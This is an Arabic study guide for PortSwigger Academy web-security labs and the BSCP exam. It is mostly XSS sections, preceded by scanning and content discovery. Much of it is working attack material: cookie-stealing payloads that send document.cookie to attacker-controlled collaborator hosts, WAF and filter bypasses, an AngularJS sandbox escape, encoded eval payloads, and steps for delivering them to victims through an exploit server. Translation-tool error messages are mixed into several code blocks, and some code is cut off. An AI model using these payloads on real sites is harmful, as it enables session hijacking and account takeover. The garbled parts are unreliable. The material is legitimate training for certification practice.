
ملاحظات دراسية عملية وأدلة تطبيقية لمختبرات PortSwigger Academy، تغطي ثغرات الويب والحمولات والتعداد واستراتيجيات امتحان BSCP.
هذه ملاحظاتي الدراسية مع أكثر من 110 مختبراً من مختبرات PortSwigger Academy. استخدمت هذه المختبرات لاجتياز امتحان Burp Suite Certified Practitioner لعام 2023. مؤهلي BSCP.
لمزيد من المعلومات، تفضل بزيارة PortSwigger Academy للحصول على أحدث المواد التعليمية.
المسح - التعداد
المسح الموجّه
مسح الكيانات غير القياسية
توطيد القدم - المرحلة 1
اكتشاف المحتوى
DOM-XSS
XSS - البرمجة النصية عبر المواقع
تسميم ذاكرة التخزين المؤقت للويب
ترويسات المضيف
تهريب طلبات HTTP
القوة الغاشمة
المصادقة
تصعيد الامتيازات - المرحلة 2
CSRF - الاستيلاء على الحساب
إعادة تعيين كلمة المرور
SQLi - حقن SQL
JWT - رموز JSON Web
تلوث النموذج الأولي
اختبار API
التحكم في الوصول
نقاط نهاية GraphQL API
CORS - مشاركة الموارد عبر الأصول
استخراج البيانات - المرحلة 3
XXE - كيانات وحقن XML
SSRF - تزوير الطلبات من جانب الخادم
SSTI - حقن القوالب من جانب الخادم
SSPP - تلوث النموذج الأولي من جانب الخادم
LFI - اجتياز مسار الملف
رفع الملفات
إلغاء التسلسل
حقن أوامر نظام التشغيل
الملحق
سكربتات Python
Payloads
قوائم الكلمات
المسح الموجّه للهدف
المنهجية
محتوى تدريبي إضافي
أنصح بإجراء أكبر عدد ممكن من تحدي المختبر الغامض لاختبار مهاراتك وتقليل الوقت الذي تستغرقه في تحديد الثغرات، قبل التقدم للامتحان.
كما وجدت أن نصيحة PortSwigger هذه حول إعادة اجتياز امتحانك مفيدة جداً.
شاهد CryptoCat - مراجعة Burp Suite Certified Professional (BSCP) + نصائح وحيل للحصول على نظرة جديدة لامتحان BSCP في 2024.
شكراً لدعمكم بفنجان قهوة،
\o/
شهادتي في Burp Suite Certified Practitioner.
يبدأ تعداد تطبيقات الويب بمسح أولي وموجّه في المهام المقيّدة بالوقت.
المسح الموجّه
مسح الكيانات غير القياسية
نظراً لضيق الوقت في المهام أو الامتحان، امسح نقاط الإدخال المحددة لطلبات معينة.

رصد الماسح ثغرة حقن XML في معامل storeId، وأدى ذلك إلى قراءة ملف Carlos السري.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>طلب XInclude خارج النطاق، نحتاج إلى DTD مستضاف لقراءة الملف المحلي.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
مختبر PortSwigger: اكتشاف الثغرات بسرعة من خلال الفحص المستهدف
فحص هياكل البيانات غير القياسية باستخدام ميزة Burp لفحص نقطة الإدخال المحددة لنص محدد في الاستجابة أو الطلبات.

حدد الثغرة الأمنية من خلال نتائج ماسح Burp.
في هذه الحالة، باستخدام XSS المحدد، قم بسرقة ملفات تعريف الارتباط الخاصة بالمستخدم المسؤول من خلال صياغة الحمولة في نقطة الإدخال المحددة.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>قم بترميز الأحرف المفتاحية بصيغة URL.

>استخدم كوكي مستخدم المسؤول للوصول إلى لوحة الإدارة عن طريق استبداله في جلسة المتصفح الحالية.
[مختبر PortSwigger: فحص هياكل البيانات غير القياسية](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# موطئ قدم
# اكتشاف المحتوى
>يبدأ تعداد الهدف باختبار Fuzzing لأدلة وملفات الويب. يمكنك إما استخدام أدوات Burp engagement أو خيار اكتشاف المحتوى للعثور على المسارات والملفات المخفية، أو استخدام `FFUF` لتعداد أدلة وملفات الويب. كما أن الاطلاع على `robots.txt` أو `sitemap.xml` قد يكشف عن محتوى.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
أداة مشاركة Burp، اكتشاف المحتوى باستخدام قائمة الكلمات المجمّعة الخاصة بي burp-labs-wordlist كقائمة ملفات مخصصة.

افحص فروع مستودع git في النسخة المحلية المُنزّلة، باستخدام أداة
git-cola. ثم اختر التراجع عن آخر التزام واستخرج كلمة مرور المسؤول من نافذة الفروقات.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[مختبر PortSwigger: الإفصاح عن المعلومات في سجل التحكم بالإصدارات](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>افتح دائمًا `source code` للبحث عن أي تعليقات للمطورين تكشف عن ملفات أو مسارات مخفية. المثال أدناه يؤدي إلى [إلغاء تسلسل رمز symphony](#deserialization).

-----
## XSS القائم على DOM
[مؤشرات XSS في DOM](#identify-dom-xss)
[XSS في DOM المحدد باستخدام DOM Invader](#dom-invader)
[XSS في DOM عبر AngularJS](#vuln-angularjs)
[XSS في DOM عبر document.write في select](#doc-write-location-search)
[XSS في DOM عبر رسائل الويب JSON.parse](#dom-xss-jsonparse-web-messages)
[XSS في DOM عبر AddEventListener لعنوان JavaScript](#dom-xss-addeventlistener-javascript-url)
[XSS في DOM عبر AddEventListener لرسالة الإعلانات](#dom-xss-addeventlistener-ads-message)
[XSS في DOM عبر Eval لسارق الكوكيز المنعكس](#reflected-dom-xss)
[XSS في DOM عبر كوكيز LastviewedProduct](#dom-xss-lastviewedproduct-cookie)
### تحديد XSS في DOM
>تنشأ ثغرات XSS القائمة على DOM عندما تأخذ JavaScript بيانات من مصدر يمكن للمهاجم التحكم فيه، مثل عنوان URL، وتمرر الكود إلى نقطة استقبال (sink) تدعم تنفيذ الكود ديناميكيًا.
>اختبر الأحرف التي تتيح الهروب من نقطة حقن `source code` باستخدام سلسلة الفازر أدناه.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
راجع
الكود المصدريلـتحديد المصادر أو المصارف أو الطرق التي قد تؤدي إلى الاستغلال، وفيما يلي قائمة بأمثلة:
باستخدام إضافة Dom Invader وضبط قيمة الكناري (canary) على قيمة مثل
domxss، فإنها ستكشف مصارف DOM-XSS التي يمكن استغلالها.

يمكن حقن تعبير AngularJS أدناه في وظيفة البحث عندما تكون الأقواس الزاوية والاقتباسات المزدوجة مشفّرة بـ HTML. يتم تحديد الثغرة بملاحظة أن سلسلة البحث محاطة بتوجيه ng-app وتضمين سكربت
/js/angular 1-7-7.js. راجع كود HTML لـتحديد توجيهng-appالذي يُخبر AngularJS أن هذا هو العنصر الجذر لتطبيق AngularJS.

حمولة مختبر PortSwigger أدناه:```JavaScript {{$on.constructor('alert(1)')()}}
>[حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) باستخدام `on.constructor` التي يمكن وضعها في iframe، واستضافتها على خادم استغلال، مما يؤدي إلى إرسال ملف تعريف ارتباط جلسة الضحية إلى Burp Collaborator.
>[ورقة الغش من PortSwigger لمرجع البرمجة النصية عبر المواقع](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
ملاحظة: يجب ألا تحتوي خاصية ملف تعريف ارتباط الجلسة على علامة HttpOnly الآمنة حتى ينجح هجوم XSS.

مختبر PortSwigger: DOM XSS في تعبير AngularJS مع أقواس زاوية وعلامات اقتباس مزدوجة بترميز HTML
z3nsh3ll يقدم شرحًا مفصلاً بشكل مذهل حول ثغرة المُنشئ في هذا المختبر على يوتيوب
الهدف عرضة لثغرة DOM-XSS في دالة فحص المخزون. يكشف
source codeأنdocument.writeهو المُستقبَل المستخدم معlocation.searchمما يسمح لنا بإضافة معامل الاستعلام storeId بقيمة تحتوي على حمولة JavaScript داخل عبارة<select>.

قم بإجراء اختبار باستخدام الحمولة أدناه لتحديد الحقن في طلب GET المعدل، باستخدام
">للهروب.```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) في نقطة استقبال (sink) عبر `document.write` باستخدام المصدر `location.search` داخل عنصر `<select>`. يمكن إرسال ذلك إلى الضحية عبر خادم الاستغلال داخل `

في نهاية قيم onload الخاصة بـ iframe توجد "*"، وهذا للإشارة إلى أن الهدف هو أي هدف.
قم بتعيين ملف تعريف ارتباط (cookie) اختباري غير آمن في المتصفح باستخدام DEV tools console لاستخدامه أثناء اختبارات POC XSS
حمولات سرقة ملفات تعريف الارتباط.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[مختبر PortSwigger: DOM XSS باستخدام web messages و JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>استخدم DOM Invader لتحديد واختبار DOM XSS باستخدام web messages

>أعد تشغيل post message باستخدام DOM Invader بعد تعديل بيانات JSON.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: تحديد DOM XSS باستخدام PortSwigger DOM Invader
عند مراجعة
source codeللصفحة، نحدد استدعاءaddeventlistenerلرسالة ويب، لكن هناك شرطifيتحقق مما إذا كانت السلسلة تحتوي علىhttp/s.

الحمولة التي يستضيفها خادم الاستغلال أدناه تحتوي على سلسلة
https، وتنجح في تجاوز فحص شرطif.```html

بمجرد تحديث ملف تعريف الارتباط الخاص بالضحية، يلتقط سجل خادم الاستغلال قيمة ملف تعريف الارتباط السري الخاص بهم.
>بمساعدة كبيرة من ***ShehmeerAbidRajput***، قمت بتحديث هذا المختبر مع الحمولة الخاصة بسرقة ملفات تعريف الارتباط التي قدمها.
[مختبر PortSwigger: التلاعب بملفات تعريف الارتباط المستند إلى DOM](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## البرمجة النصية عبر المواقع
[موارد XSS](#xss-resources)
[تحديد العلامات المسموح بها](#identify-allowed-tags)
[تجاوز العلامات المحظورة](#bypass-blocked-tags)
[XSS تعيين البروتوكول](#xss-assign-protocol)
[العلامات المخصصة غير المحظورة](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[XSS السلسلة المنعكسة](#reflected-string-xss)
[سلسلة منعكسة بهروب إضافي](#reflected-string-extra-escape)
[AngularJS هروب من صندوق الحماية](#angularjs-sandbox-escape)
[XSS القالب الحرفي](#xss-template-literal)
[XSS عبر JSON إلى EVAL](#xss-via-json-into-eval)
[XSS المخزن](#stored-xss)
[XSS المخزن في DOM](#stored-dom-xss)
[XSS في رفع SVG](#xss-svg-upload)
### موارد XSS
>صفحات موارد XSS للبحث عن الحمولات الخاصة بـ **العلامات** و**الأحداث**.
+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [ملاحظات دراسة HackTheBox CPTS حول XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>أداة CSP Evaluator للتحقق من وجود سياسة أمان المحتوى للتخفيف من هجمات XSS. على سبيل المثال، إذا كانت السمة `base-uri` مفقودة، فإن هذه الثغرة ستسمح للمهاجم باستخدام طريقة الاستغلال البديلة الموضحة في [ترقية XSS الذاتي المخزن](#upgrade-stored-self-xss).
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>عندما يكون الحد الأقصى لطول حقل الإدخال 23 حرفًا فقط، استخدم هذا المورد للحصول على **Tiny XSS Payloads**.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>قم بتعيين ملف تعريف ارتباط اختباري غير آمن في المتصفح باستخدام وحدة تحكم أدوات تطوير المتصفح لاستخدامه أثناء اختبارات POC XSS [حمولات سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
حمولات XSS الأساسية لتحديد عناصر التحكم في مرشح أمان التطبيق لمعالجة البيانات المستلمة في طلب HTTP.```html
[No content provided in the INPUT section. Please provide the Markdown text to translate.]```html
"><svg><animatetransform onbegin=alert(1)>
I apologize, but I received no input text to translate. The input section is empty. Please provide the Markdown content for chunk 43, and I will translate it from English to Arabic according to the specified rules.``` <>'"
>قد يؤدي إرسال الحمولات أعلاه إلى رسالة رد، ***"الوسم غير مسموح به"*** بسبب قيام جدار حماية تطبيقات الويب (WAF) بحظر الحقن.
>ثم ***حدد*** الوسوم المسموح بها باستخدام [منهجية PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).
>أدوات عبر الإنترنت لترميز وفك ترميز URL وBase64
+ [فك ترميز URL وترميزه](https://www.urldecoder.org/)
+ [فك ترميز BASE64 وترميزه](https://www.base64encode.org/)
>يوفر هذا المختبر **منهجية** رائعة لـ ***تحديد*** وسوم HTML والأحداث المسموح بها لصياغة POC XSS.
>استضف كود **iframe** على خادم الاستغلال وسلّم رابط الاستغلال إلى الضحية.```html
تعطي ضوابط التطبيق رسالة، "الوسم غير مسموح به" عند إدراج حمولات XSS الأساسية، لكن اكتشف أن ترميز SVG مسموح به باستخدام المنهجية أعلاه. تلتقط هذه الحمولة ملف تعريف الارتباط الخاص بجلستي كإثبات للمفهوم.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>ضع الحمولة أعلاه على خادم الاستغلال وأدخل عنوان URL مع قيمة البحث في ```iframe``` قبل تسليمها إلى الضحية في كتلة التعليمات البرمجية أدناه.```html

مختبر PortSwigger: XSS منعكسة مع السماح ببعض وسوم SVG
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=htmlمختبر لاختبار XSS في سياق HTML دون ترميز أي شيء في دالة البحث. باستخدام هذا المختبر لاختبار استغلال البروتوكول القابل للتعيين مع location
javascriptالذي تم تحديده بواسطة أبحاث PortSwigger حول XSS. في الحمولة يوجد%0aالذي يمثل حرف السطر الجديد ASCII.```html

[مختبر PortSwigger: XSS المنعكسة في سياق HTML بدون ترميز](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### الوسوم المخصصة غير محظورة
>يستجيب التطبيق برسالة ***"Tag is not allowed"*** عند محاولة إدراج حمولات XSS، لكن إذا أنشأنا وسمًا مخصصًا، يتم تجاوز الحظر.```html
<xss+id=x>#x';
حدد ما إذا كان الوسم المخصص أعلاه غير محظور في دالة البحث، من خلال ملاحظة الاستجابة. أنشئ الحمولة أدناه لسرقة ملف تعريف ارتباط الجلسة خارج النطاق.```
>**ملاحظة:** الوسم المخصص بالمعرّف ```x```، والذي يحتوي على معالج حدث **onfocus** يُطلق دالة ```document.location```. حرف **HASH** `#` في نهاية عنوان URL يُركّز على هذا العنصر فور تحميل الصفحة، مما يؤدي إلى استدعاء الحمولة. استضف سكربت الحمولة على خادم الاستغلال داخل وسمي ```script```، وأرسله إلى الضحية. فيما يلي نفس الحمولة ولكن بصيغة **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

مختبر PortSwigger: انعكاس XSS في سياق HTML مع حظر جميع الوسوم باستثناء الوسوم المخصصة
z3nsh3ll - شرح الوسوم المخصصة لهجمات XSS
يستخدم iframe أدناه حرف HASH
#في نهاية URL لتشغيل أداة سرقة ملفات تعريف الارتباط OnHashChange XSS.```JavaScript
>ملاحظة: إذا كان ملف تعريف الارتباط آمنًا مع تفعيل علامة **HttpOnly**، فلا يمكن سرقته باستخدام XSS.
>حمولة PortSwigger Lab تنفذ الطباعة.```JavaScript
ملاحظة: حدد إصدار jQuery 1.8.2 الضعيف المضمّن في
الكود المصدريمع إجراء محدد CSS عند hashchange.

مختبر PortSwigger: DOM XSS في jQuery selector sink باستخدام حدث hashchange
Crypto-Cat: DOM XSS في jQuery selector sink باستخدام حدث hashchange
عند إرسال سلسلة بحث ومراجعة
الكود المصدريلصفحة نتائج البحث، يتم تحديد متغير السلسلة النصية في JavaScript ليعكس سلسلة البحثtracker.gifفيالكود المصدريبمتغير اسمهsearchTerms.```html
باستخدام حمولة
test'payloadولاحظ أن علامة الاقتباس المفردة تتم تهريبها بشرطة مائلة للخلف، مما يمنع الخروج من السلسلة النصية.```JavaScript
>تغيير الحمولة إلى أداة سرقة الكوكيز التي تسلّم رمز الجلسة إلى Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

عند وضع هذه الحمولة داخل
iframe، لا يسمح التطبيق الهدف بتضمينها ويعطي رسالة:refused to connect.
في اختبار BSCP، استضف الحمولة أدناه على خادم الاستغلال داخل وسوم
<script>، واستعلام البحث أدناه قبل أن يتم ترميزه كـ URL.```
>خادم استغلال يستضيف مصطلح بحث يعكس ثغرةً تُرسل إلى الضحية للحصول على ملف تعريف ارتباط الجلسة الخاص بها.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
أعطى التطبيق رسالة الخطأ
Tag is not allowed، وتم تجاوز ذلك باستخدام</ScRiPt >.
انظر في
source codeإلى المتغير المسمىsearchTerms، وعند إرسال الحمولةfuzzer'payload، لاحظ أن علامة الاقتباس المفردة تم إفلاتها بشرطة مائلة عكسية، ثم أرسل حمولةfuzzer\payloadوحدد أن الشرطة المائلة العكسية لم يتم إفلاتها.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>باستخدام **شرطة مائلة عكسية** واحدة وعلامة اقتباس مفردة و**فاصلة منقوطة**، نهرب من متغير السلسلة النصية في JavaScript، ثم باستخدام علامات backticks لإحاطة المسار ```document.location```، نسمح لأداة سرقة الكوكيز بتجاوز حماية التطبيق.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
بمساعدة تريفور، حوّلت هذا إلى حمولة سرقة الكوكيز باستخدام back ticks. شكرًا تريفور، هذا شرحه على يوتيوب XSS: سلسلة جافاسكربت مع أقواس زاوية واقتباسات مزدوجة مشفّرة واقتباسات مفردة مهربة

تمرين مختبر PortSwigger الخبير باستخدام AngularJS 1.4.4؛ وقد وصلت إصدارات 1.x إلى نهاية عمرها الافتراضي ولم تعد مدعومة.
يستخدم هذا المختبر AngularJS بطريقة غير معتادة حيث لا تتوفر دالة$eval، ولن تتمكن من استخدام أي سلاسل نصية في AngularJS.
الهدف: تنفيذ هجوم XSS يخرج من بيئة الحماية (sandbox) وينفذ الحمولة دون استخدام دالة$eval.
حدد
angular.moduleفي شيفرة JavaScript المصدرية:

قيمة المتغير
keyوهيsearchتُحقن في JavaScript المُنشأ ديناميكيًا.
لا توجد مشكلة أمنية واضحة هنا. ومع ذلك، يعتمد أمان هذا الكود على كيفية استخدام وحدة التحكم هذه والقيم المستخرجة في الواجهة الخلفية.
تقيّم طريقة
$parseتعبير AngularJS$scope.query.
باستخدام
&لإضافة زوج مفاتيح وقيم ثانٍ لاختبار الكود الديناميكي المُولّد للحمولة.

تغيير اسم القيمة الثانية المضافة إلى expression لتحديد ما إذا تم تقييمها،
/?search=key1value&7*7=payloadوكانت النتيجة الحسابية 49.

يفشل بناء الحمولة عند استخدام
alert()كاسم المفتاح الثاني في كيفية قيام AngularJS بتجميع الكود عبر المحلل (parser).
مرجع PortSwigger CheatSheet لتجاوز Sandbox 1.4.4``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>حمولة Collaborator ***سارق ملفات تعريف الارتباط***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
قيم ASCII العشرية لكل حرف في سلسلة الحمولة أعلاه، مفصولة بفواصل. يمثل كل رقم قيمة ASCII العشرية للحرف المقابل في سلسلة الحمولة.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>سكربت Python لتحويل أي حمولة إلى قيم عشرية ASCIII:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

حمولة سرقة الكوكيز في قيمة عشرية ASCII، تعبير AngularJS يتم تشغيله عبر صندوق الحماية، من خطوات حل PortSwigger:
toString() لإنشاء سلسلة نصية دون استخدام علامات الاقتباس.charAt لكل سلسلة نصية.orderBy.toString() مرة أخرى لإنشاء سلسلة نصية وخاصية مُنشئ String.fromCharCode لتوليد حمولتنا عن طريق تحويل أكواد الأحرف إلى مثال الحمولة x=alert(1).charAt، وسيسمح AngularJS لهذا الكود بالهروب من صندوق الحماية.
مختبر الخبراء من PortSwigger: XSS المنعكس مع الهروب من صندوق حماية AngularJS بدون سلاسل نصية
يتم تحديد القالب الحرفي في JavaScript بواسطة علامات backticks ` المستخدمة لاحتواء السلسلة. في الكود الهدف، نحدد أن سلسلة البحث تنعكس داخل سلسلة القالب الحرفي.``` ${alert(document.cookie)}

>شكرًا لـ ***Adrián Gyurácz***، لتقديمه تجاوزًا رائعًا، حيث فشلت في الحصول على أداة سرقة كوكيز تتجاوز جميع الفلاتر لهذا المختبر.
>وجد ***Adrián Gyurácz*** المقال البحثي التالي من Portswigger والذي قاد إلى الحل:
[تجاوز قوائم حظر الأحرف باستخدام تجاوزات Unicode](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### بناءً على ما سبق، حمولته:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
نظرًا لأن كوكي جلسة المختبر الأصلية يحتوي على أعلام حماية، قام بإنشاء كوكي تجريبي dummy لإثبات المفهوم:

بعد إرسال الحمولة في وظيفة البحث، حصلت على إصابة من أداة سرقة الكوكيز:

آمل أن يجد الآخرون بحثه مفيدًا، وإدراجه في دليلي Tx.
يُشغّل تطبيق اختبار الممارسة من PortSwigger وظيفة البحث، وتقوم DOM Invader بــتحديد نقطة التسرب في دالة
eval(). تُوضع نتائج البحث في نوع محتوى JSON.

اختبر الهروب من بيانات
JSONوحقن حمولة اختبار"-prompt(321)-"في محتوى JSON.

محاولة الحصول على قيمة كوكي الجلسة الخاصة بنا بحمولة
"-alert(document.cookie)-"ويتم إرجاع رسالة تصفية تنص على"Potentially dangerous search term".
تعمل جدار الحماية (WAF) على منع عوامل التصفية والوسوم الخطيرة، ثم نتجاوز مرشحات WAF باستخدام المتغيرات العامة في JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: تجاوز فلاتر XSS باستخدام المتغيرات العامة في JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
> فيما يلي [حمولة سرقة ملفات تعريف الارتباط](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) الرئيسية قبل ترميزها بـ BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
التالي هو ترميز الحمولة باستخدام قيمة Base64 المشفّرة لحمولة سارق ملفات تعريف الارتباط أعلاه.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>اختبر الحمولة على كوكي الجلسة الخاص بنا في وظيفة البحث.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
تفكيك مراحل تجميع الحمولة أعلاه:
تُظهر هذه الصورة Burp Collaborator وهو يستقبل قيمة الكوكي الخاصة بي كإثبات للمفهوم قبل إعداد الحمولة إلى
Deliver exploit to victim.

ترميز URL لجميع الأحرف في هذه الحمولة واستخدم الناتج كقيمة لمعامل
/?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>استضافة `IFRAME` على خادم الاستغلال، تعطي رسالة **خطأ** تفيد برفض الاتصال بالهدف. بدلاً من ذلك، استضف الحمولة على خادم الاستغلال بين وسمي `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

ملاحظة: قم
Deliver exploit to victimعدة مرات إذا لم يرسل المستخدم النشط طلب HTTP إلى المتعاون. استبدل قيمة الكوكي الحالية بالكوكي المسروقة لانتحال شخصية المستخدم النشط وانتقل إلى المرحلة 2 من الامتحان التدريبي.
امتحان PortSwigger التدريبي - المرحلة 1 - موطئ القدم
يمكن أن تكون الـ Stored XSS أيضًا Blind XSS. إذا لم يتم تشغيل حمولة التنبيه، راجع فيديو NahamSec عن blind xss الخاص بحمولة ليتمكن الضحية من النقر، مثال:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
إذا كان الإدخال المخزن يعيد توجيه الضحية التي تنقر على الروابط، فإنه يرسل طلبًا إلى خادم الاستغلال. استخدم الكود النموذجي التالي لتحديد stored XSS.```HTML![]()
> تسجل الإدخالات أدناه الطلبات المرسلة إلى خادم الاستغلال، ومن السجلات يمكننا ***تحديد*** أن `/img` و `/video` من الوسوم أعلاه كانا مسموحين في التطبيق وأحدثا طلبات عند الوصول إليهما.

> تم حفظ البرمجة النصية عبر المواقع في تعليق مشاركة المدونة. تعمل هذه الحمولة المسرقة لملفات تعريف الارتباط (Cookie Stealer) على إرسال كوكي الجلسة الخاصة بالضحية إلى سجلات خادم الاستغلال.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
البحث عن المنتج والمتجر```html ?productId=1&storeId=">
#### منشور مدونة XSS المخزّن
>منشور مدونة حول XSS المخزّن يسرق الكوكيز ويرسل كوكيز المستند (document cookie) إلى خادم الاستغلال.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
الهدف أدناه يحتوي على ثغرة XSS مخزنة في وظيفة تعليقات المدونة. قم بسرقة كوكي جلسة المستخدم الضحية الذي يشاهد التعليقات بعد نشرها، ثم استخدم الكوكي الخاصة به لانتحال الشخصية.

Fetch API حمولة سرقة الكوكيز عبر JavaScript في تعليق منشور المدونة.```JavaScript
>[IPPSEC YouTube باستخدام HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737)، حيث يعرض كود JavaScript الخاص بـ `payload.js` وكيف يستخدم `fetch` ويتعلم JavaScript.
[PortSwigger Lab: استغلال Cross-Site Scripting لسرقة الكوكيز](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
